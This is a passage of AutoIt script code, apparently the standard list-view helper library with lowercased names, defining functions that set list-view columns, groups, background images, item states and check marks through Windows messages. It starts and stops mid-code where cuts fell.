- Return _sendmessage($hwnd, $lvm_isitemvisible, $iindex) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_isitemvisible, $iindex, 0) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_justifycolumn($hwnd, $iindex, $ialign = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $aalign[3] = [$lvcfmt_left, $lvcfmt_right, $lvcfmt_center]
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $tcolumn = DllStructCreate($taglvcolumn)
- If $ialign < 0 OR $ialign > 2 Then $ialign = 0
- Local $imask = $lvcf_fmt
- Local $ifmt = $aalign[$ialign]
- DllStructSetData($tcolumn, "Mask", $imask)
- DllStructSetData($tcolumn, "Fmt", $ifmt)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_setcolumnw, $iindex, $tcolumn, 0, "wparam", "struct*")
- Else
- Local $icolumn = DllStructGetSize($tcolumn)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $icolumn, $tmemmap)
- _memwrite($tmemmap, $tcolumn, $pmemory, $icolumn)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_setcolumnw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_setcolumna, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Else
- Local $pcolumn = DllStructGetPtr($tcolumn)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumnw, $iindex, $pcolumn)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumna, $iindex, $pcolumn)
- EndIf
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_mapidtoindex($hwnd, $iid)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_mapidtoindex, $iid)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_mapidtoindex, $iid, 0)
- EndIf
- EndFunc
- Func _guictrllistview_mapindextoid($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_mapindextoid, $iindex)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_mapindextoid, $iindex, 0)
- EndIf
- EndFunc
- Func _guictrllistview_movegroup($hwnd, $igroupid, $iindex = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_movegroup, $igroupid, $iindex)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_movegroup, $igroupid, $iindex)
- EndIf
- EndFunc
- Func __guictrllistview_overlayimagemasktoindex($imask)
- Return BitShift(BitAND($lvis_overlaymask, $imask), 8)
- EndFunc
- Func _guictrllistview_redrawitems($hwnd, $ifirst, $ilast)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_redrawitems, $ifirst, $ilast) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_redrawitems, $ifirst, $ilast) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_registersortcallback($hwnd, $fnumbers = True, $farrows = True)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- Local $hheader = _guictrllistview_getheader($hwnd)
- ReDim $alistviewsortinfo[UBound($alistviewsortinfo) + 1][$illistviewsortinfosize]
- $alistviewsortinfo[0][0] = UBound($alistviewsortinfo) - 1
- Local $iindex = $alistviewsortinfo[0][0]
- $alistviewsortinfo[$iindex][1] = $hwnd
- $alistviewsortinfo[$iindex][2] = DllCallbackRegister("__GUICtrlListView_Sort", "int", "int;int;hwnd")
- $alistviewsortinfo[$iindex][3] = -1
- $alistviewsortinfo[$iindex][4] = -1
- $alistviewsortinfo[$iindex][5] = 1
- $alistviewsortinfo[$iindex][6] = -1
- $alistviewsortinfo[$iindex][7] = 0
- $alistviewsortinfo[$iindex][8] = $fnumbers
- $alistviewsortinfo[$iindex][9] = $farrows
- $alistviewsortinfo[$iindex][10] = $hheader
- Return $alistviewsortinfo[$iindex][2] <> 0
- EndFunc
- Func _guictrllistview_removeallgroups($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- _sendmessage($hwnd, $lvm_removeallgroups)
- Else
- GUICtrlSendMsg($hwnd, $lvm_removeallgroups, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_removegroup($hwnd, $igroupid)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_removegroup, $igroupid)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_removegroup, $igroupid, 0)
- EndIf
- EndFunc
- Func __guictrllistview_reversecolororder($icolor)
- Local $tc = Hex(String($icolor), 6)
- Return "0x" & StringMid($tc, 5, 2) & StringMid($tc, 3, 2) & StringMid($tc, 1, 2)
- EndFunc
- Func _guictrllistview_scroll($hwnd, $idx, $idy)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_scroll, $idx, $idy) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_scroll, $idx, $idy) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_setbkcolor($hwnd, $icolor)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $iret
- If IsHWnd($hwnd) Then
- $iret = _sendmessage($hwnd, $lvm_setbkcolor, 0, $icolor)
- _winapi_invalidaterect($hwnd)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setbkcolor, 0, $icolor)
- _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setbkimage($hwnd, $surl = "", $istyle = 0, $ixoffset = 0, $iyoffset = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- If NOT IsHWnd($hwnd) Then Return SetError($lv_err, $lv_err, False)
- Local $astyle[2] = [$lvbkif_style_normal, $lvbkif_style_tile]
- Local $ibuffer = StringLen($surl) + 1
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- If @error Then Return SetError($lv_err, $lv_err, $lv_err)
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $timage = DllStructCreate($taglvbkimage)
- Local $iret = 0
- If $surl <> "" Then $iret = $lvbkif_source_url
- $iret = BitOR($iret, $astyle[$istyle])
- DllStructSetData($tbuffer, "Text", $surl)
- DllStructSetData($timage, "Flags", $iret)
- DllStructSetData($timage, "XOffPercent", $ixoffset)
- DllStructSetData($timage, "YOffPercent", $iyoffset)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($timage, "Image", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_setbkimagew, 0, $timage, 0, "wparam", "struct*")
- Else
- Local $iimage = DllStructGetSize($timage)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iimage + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $iimage
- DllStructSetData($timage, "Image", $ptext)
- _memwrite($tmemmap, $timage, $pmemory, $iimage)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_setbkimagew, 0, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_setbkimagea, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Else
- Local $pimage = DllStructGetPtr($timage)
- DllStructSetData($timage, "Image", $pbuffer)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_setbkimagew, 0, $pimage)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setbkimagea, 0, $pimage)
- EndIf
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setcallbackmask($hwnd, $imask)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $iflags = 0
- If BitAND($imask, 1) <> 0 Then $iflags = BitOR($iflags, $lvis_cut)
- If BitAND($imask, 2) <> 0 Then $iflags = BitOR($iflags, $lvis_drophilited)
- If BitAND($imask, 4) <> 0 Then $iflags = BitOR($iflags, $lvis_focused)
- If BitAND($imask, 8) <> 0 Then $iflags = BitOR($iflags, $lvis_selected)
- If BitAND($imask, 16) <> 0 Then $iflags = BitOR($iflags, $lvis_overlaymask)
- If BitAND($imask, 32) <> 0 Then $iflags = BitOR($iflags, $lvis_stateimagemask)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setcallbackmask, $iflags) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setcallbackmask, $iflags, 0) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_setcolumn($hwnd, $iindex, $stext, $iwidth = -1, $ialign = -1, $iimage = -1, $fonright = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $aalign[3] = [$lvcfmt_left, $lvcfmt_right, $lvcfmt_center]
- Local $ibuffer = StringLen($stext) + 1
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $tcolumn = DllStructCreate($taglvcolumn)
- Local $imask = $lvcf_text
- If $ialign < 0 OR $ialign > 2 Then $ialign = 0
- $imask = BitOR($imask, $lvcf_fmt)
- Local $ifmt = $aalign[$ialign]
- If $iwidth <> -1 Then $imask = BitOR($imask, $lvcf_width)
- If $iimage <> -1 Then
- $imask = BitOR($imask, $lvcf_image)
- $ifmt = BitOR($ifmt, $lvcfmt_col_has_images, $lvcfmt_image)
- Else
- $iimage = 0
- EndIf
- If $fonright Then $ifmt = BitOR($ifmt, $lvcfmt_bitmap_on_right)
- DllStructSetData($tbuffer, "Text", $stext)
- DllStructSetData($tcolumn, "Mask", $imask)
- DllStructSetData($tcolumn, "Fmt", $ifmt)
- DllStructSetData($tcolumn, "CX", $iwidth)
- DllStructSetData($tcolumn, "TextMax", $ibuffer)
- DllStructSetData($tcolumn, "Image", $iimage)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($tcolumn, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_setcolumnw, $iindex, $tcolumn, 0, "wparam", "struct*")
- Else
- Local $icolumn = DllStructGetSize($tcolumn)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $icolumn + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $icolumn
- DllStructSetData($tcolumn, "Text", $ptext)
- _memwrite($tmemmap, $tcolumn, $pmemory, $icolumn)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_setcolumnw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_setcolumna, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Else
- Local $pcolumn = DllStructGetPtr($tcolumn)
- DllStructSetData($tcolumn, "Text", $pbuffer)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumnw, $iindex, $pcolumn)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumna, $iindex, $pcolumn)
- EndIf
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setcolumnorder($hwnd, $sorder)
- Local $separatorchar = Opt("GUIDataSeparatorChar")
- Return _guictrllistview_setcolumnorderarray($hwnd, StringSplit($sorder, $separatorchar))
- EndFunc
- Func _guictrllistview_setcolumnorderarray($hwnd, $aorder)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tbuffer = DllStructCreate("int[" & $aorder[0] & "]")
- For $ii = 1 To $aorder[0]
- DllStructSetData($tbuffer, 1, $aorder[$ii], $ii)
- Next
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_setcolumnorderarray, $aorder[0], $tbuffer, 0, "wparam", "struct*")
- Else
- Local $ibuffer = DllStructGetSize($tbuffer)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
- _memwrite($tmemmap, $tbuffer, $pmemory, $ibuffer)
- $iret = _sendmessage($hwnd, $lvm_setcolumnorderarray, $aorder[0], $pmemory, 0, "wparam", "ptr")
- _memfree($tmemmap)
- EndIf
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumnorderarray, $aorder[0], DllStructGetPtr($tbuffer))
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setcolumnwidth($hwnd, $icol, $iwidth)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setcolumnwidth, $icol, $iwidth)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setcolumnwidth, $icol, $iwidth)
- EndIf
- EndFunc
- Func _guictrllistview_setextendedlistviewstyle($hwnd, $iexstyle, $iexmask = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $iret
- If IsHWnd($hwnd) Then
- $iret = _sendmessage($hwnd, $lvm_setextendedlistviewstyle, $iexmask, $iexstyle)
- _winapi_invalidaterect($hwnd)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setextendedlistviewstyle, $iexmask, $iexstyle)
- _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
- EndIf
- Return $iret
- EndFunc
- Func _guictrllistview_setgroupinfo($hwnd, $igroupid, $sheader, $ialign = 0, $istate = $lvgs_normal)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $aalign[3] = [$lvga_header_left, $lvga_header_center, $lvga_header_right]
- If $ialign < 0 OR $ialign > 2 Then $ialign = 0
- Local $theader = _winapi_multibytetowidechar($sheader)
- Local $pheader = DllStructGetPtr($theader)
- Local $iheader = StringLen($sheader)
- Local $tgroup = DllStructCreate($taglvgroup)
- Local $pgroup = DllStructGetPtr($tgroup)
- Local $igroup = DllStructGetSize($tgroup)
- Local $imask = BitOR($lvgf_header, $lvgf_align, $lvgf_state)
- DllStructSetData($tgroup, "Size", $igroup)
- DllStructSetData($tgroup, "Mask", $imask)
- DllStructSetData($tgroup, "HeaderMax", $iheader)
- DllStructSetData($tgroup, "Align", $aalign[$ialign])
- DllStructSetData($tgroup, "State", $istate)
- DllStructSetData($tgroup, "StateMask", $istate)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($tgroup, "Header", $pheader)
- $iret = _sendmessage($hwnd, $lvm_setgroupinfo, $igroupid, $pgroup)
- DllStructSetData($tgroup, "Mask", $lvgf_groupid)
- DllStructSetData($tgroup, "GroupID", $igroupid)
- _sendmessage($hwnd, $lvm_setgroupinfo, 0, $pgroup)
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $igroup + $iheader, $tmemmap)
- Local $ptext = $pmemory + $igroup
- DllStructSetData($tgroup, "Header", $ptext)
- _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
- _memwrite($tmemmap, $theader, $ptext, $iheader)
- $iret = _sendmessage($hwnd, $lvm_setgroupinfo, $igroupid, $pmemory)
- DllStructSetData($tgroup, "Mask", $lvgf_groupid)
- DllStructSetData($tgroup, "GroupID", $igroupid)
- _sendmessage($hwnd, $lvm_setgroupinfo, 0, $pmemory)
- _memfree($tmemmap)
- EndIf
- _winapi_invalidaterect($hwnd)
- Else
- DllStructSetData($tgroup, "Header", $pheader)
- $iret = GUICtrlSendMsg($hwnd, $lvm_setgroupinfo, $igroupid, $pgroup)
- DllStructSetData($tgroup, "Mask", $lvgf_groupid)
- DllStructSetData($tgroup, "GroupID", $igroupid)
- GUICtrlSendMsg($hwnd, $lvm_setgroupinfo, 0, $pgroup)
- _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_sethotcursor($hwnd, $hcursor)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_sethotcursor, 0, $hcursor, 0, "wparam", "handle", "handle")
- Else
- Return Ptr(GUICtrlSendMsg($hwnd, $lvm_sethotcursor, 0, $hcursor))
- EndIf
- EndFunc
- Func _guictrllistview_sethotitem($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_sethotitem, $iindex)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_sethotitem, $iindex, 0)
- EndIf
- EndFunc
- Func _guictrllistview_sethovertime($hwnd, $itime)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_sethovertime, 0, $itime)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_sethovertime, 0, $itime)
- EndIf
- EndFunc
- Func _guictrllistview_seticonspacing($hwnd, $icx, $icy)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $iret, $apadding[2]
- If IsHWnd($hwnd) Then
- $iret = _sendmessage($hwnd, $lvm_seticonspacing, 0, _winapi_makelong($icx, $icy))
- _winapi_invalidaterect($hwnd)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_seticonspacing, 0, _winapi_makelong($icx, $icy))
- _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
- EndIf
- $apadding[0] = BitAND($iret, 65535)
- $apadding[1] = BitShift($iret, 16)
- Return $apadding
- EndFunc
- Func _guictrllistview_setimagelist($hwnd, $hhandle, $itype = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $atype[3] = [$lvsil_normal, $lvsil_small, $lvsil_state]
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setimagelist, $atype[$itype], $hhandle, 0, "wparam", "handle", "handle")
- Else
- Return Ptr(GUICtrlSendMsg($hwnd, $lvm_setimagelist, $atype[$itype], $hhandle))
- EndIf
- EndFunc
- Func _guictrllistview_setinfotip($hwnd, $iindex, $stext, $isubitem = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tbuffer = _winapi_multibytetowidechar($stext)
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $ibuffer = StringLen($stext)
- Local $tinfo = DllStructCreate($taglvsetinfotip)
- Local $iinfo = DllStructGetSize($tinfo)
- DllStructSetData($tinfo, "Size", $iinfo)
- DllStructSetData($tinfo, "Item", $iindex)
- DllStructSetData($tinfo, "SubItem", $isubitem)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($tinfo, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_setinfotip, 0, $tinfo, 0, "wparam", "struct*")
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iinfo + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $iinfo
- DllStructSetData($tinfo, "Text", $ptext)
- _memwrite($tmemmap, $tinfo, $pmemory, $iinfo)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- $iret = _sendmessage($hwnd, $lvm_setinfotip, 0, $pmemory, 0, "wparam", "ptr")
- _memfree($tmemmap)
- EndIf
- Else
- DllStructSetData($tinfo, "Text", $pbuffer)
- $iret = GUICtrlSendMsg($hwnd, $lvm_setinfotip, 0, DllStructGetPtr($tinfo))
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setinsertmark($hwnd, $iindex, $fafter = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tmark = DllStructCreate($taglvinsertmark)
- Local $imark = DllStructGetSize($tmark)
- DllStructSetData($tmark, "Size", $imark)
- If $fafter Then DllStructSetData($tmark, "Flags", $lvim_after)
- DllStructSetData($tmark, "Item", $iindex)
- DllStructSetData($tmark, "Reserved", 0)
- Local $iret
- If IsHWnd($hwnd) Then
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $imark, $tmemmap)
- _memwrite($tmemmap, $tmark, $pmemory, $imark)
- $iret = _sendmessage($hwnd, $lvm_setinsertmark, 0, $pmemory, 0, "wparam", "ptr")
- _memfree($tmemmap)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setinsertmark, 0, DllStructGetPtr($tmark))
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setinsertmarkcolor($hwnd, $icolor)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setinsertmarkcolor, 0, $icolor)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setinsertmarkcolor, 0, $icolor)
- EndIf
- EndFunc
- Func _guictrllistview_setitem($hwnd, $stext, $iindex = 0, $isubitem = 0, $iimage = -1, $iparam = -1, $iindent = -1)
- Local $pbuffer, $ibuffer
- If $stext <> -1 Then
- $ibuffer = StringLen($stext) + 1
- Local $tbuffer
- If _guictrllistview_getunicodeformat($hwnd) Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- $pbuffer = DllStructGetPtr($tbuffer)
- DllStructSetData($tbuffer, "Text", $stext)
- Else
- $ibuffer = 0
- $pbuffer = -1
- EndIf
- Local $titem = DllStructCreate($taglvitem)
- Local $imask = $lvif_text
- If $iimage <> -1 Then $imask = BitOR($imask, $lvif_image)
- If $iparam <> -1 Then $imask = BitOR($imask, $lvif_param)
- If $iindent <> -1 Then $imask = BitOR($imask, $lvif_indent)
- DllStructSetData($titem, "Mask", $imask)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "SubItem", $isubitem)
- DllStructSetData($titem, "Text", $pbuffer)
- DllStructSetData($titem, "TextMax", $ibuffer)
- DllStructSetData($titem, "Image", $iimage)
- DllStructSetData($titem, "Param", $iparam)
- DllStructSetData($titem, "Indent", $iindent)
- Return _guictrllistview_setitemex($hwnd, $titem)
- EndFunc
- Func _guictrllistview_setitemchecked($hwnd, $iindex, $fcheck = True)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $pmemory, $tmemmap, $iret
- Local $titem = DllStructCreate($taglvitem)
- Local $pitem = DllStructGetPtr($titem)
- Local $iitem = DllStructGetSize($titem)
- If @error Then Return SetError($lv_err, $lv_err, $lv_err)
- If $iindex <> -1 Then
- DllStructSetData($titem, "Mask", $lvif_state)
- DllStructSetData($titem, "Item", $iindex)
- If ($fcheck) Then
- DllStructSetData($titem, "State", 8192)
- Else
- DllStructSetData($titem, "State", 4096)
- EndIf
- DllStructSetData($titem, "StateMask", 61440)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- Return _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*") <> 0
- Else
- $pmemory = _meminit($hwnd, $iitem, $tmemmap)
- _memwrite($tmemmap, $titem)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- Return $iret <> 0
- EndIf
- Else
- If $funicode Then
- Return GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem) <> 0
- EndIf
- EndIf
- Else
- For $x = 0 To _guictrllistview_getitemcount($hwnd) - 1
- DllStructSetData($titem, "Mask", $lvif_state)
- DllStructSetData($titem, "Item", $x)
- If ($fcheck) Then
- DllStructSetData($titem, "State", 8192)
- Else
- DllStructSetData($titem, "State", 4096)
- EndIf
- DllStructSetData($titem, "StateMask", 61440)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- If NOT _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*") <> 0 Then Return SetError($lv_err, $lv_err, $lv_err)
- Else
- $pmemory = _meminit($hwnd, $iitem, $tmemmap)
- _memwrite($tmemmap, $titem)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- If NOT $iret <> 0 Then Return SetError($lv_err, $lv_err, $lv_err)
- EndIf
- Else
- If $funicode Then
- If NOT GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem) <> 0 Then Return SetError($lv_err, $lv_err, $lv_err)
- Else
- If NOT GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem) <> 0 Then Return SetError($lv_err, $lv_err, $lv_err)
- EndIf
- EndIf
- Next
- Return True
- EndIf
- Return False
- EndFunc
- Func _guictrllistview_setitemcount($hwnd, $iitems)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setitemcount, $iitems, BitOR($lvsicf_noinvalidateall, $lvsicf_noscroll)) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setitemcount, $iitems, BitOR($lvsicf_noinvalidateall, $lvsicf_noscroll)) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_setitemcut($hwnd, $iindex, $fenabled = True)
- Local $istate = 0
- If $fenabled Then $istate = $lvis_cut
- Return _guictrllistview_setitemstate($hwnd, $iindex, $istate, $lvis_cut)
- EndFunc
- Func _guictrllistview_setitemdrophilited($hwnd, $iindex, $fenabled = True)
- Local $istate = 0
- If $fenabled Then $istate = $lvis_drophilited
- Return _guictrllistview_setitemstate($hwnd, $iindex, $istate, $lvis_drophilited)
- EndFunc
- Func _guictrllistview_setitemex($hwnd, ByRef $titem)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $iret
- If IsHWnd($hwnd) Then
- Local $iitem = DllStructGetSize($titem)
- Local $ibuffer = DllStructGetData($titem, "TextMax")
- Local $pbuffer = DllStructGetData($titem, "Text")
- If $funicode Then $ibuffer *= 2
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- If $pbuffer <> 0 Then _memwrite($tmemmap, $pbuffer, $ptext, $ibuffer)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- Else
- Local $pitem = DllStructGetPtr($titem)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem)
- EndIf
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setitemfocused($hwnd, $iindex, $fenabled = True)
- Local $istate = 0
- If $fenabled Then $istate = $lvis_focused
- Return _guictrllistview_setitemstate($hwnd, $iindex, $istate, $lvis_focused)
- EndFunc
- Func _guictrllistview_setitemgroupid($hwnd, $iindex, $igroupid)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_groupid)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "GroupID", $igroupid)
- _guictrllistview_setitemex($hwnd, $titem)
- EndFunc
- Func _guictrllistview_setitemimage($hwnd, $iindex, $iimage, $isubitem = 0)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_image)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "SubItem", $isubitem)
- DllStructSetData($titem, "Image", $iimage)
- Return _guictrllistview_setitemex($hwnd, $titem)
- EndFunc
- Func _guictrllistview_setitemindent($hwnd, $iindex, $iindent)
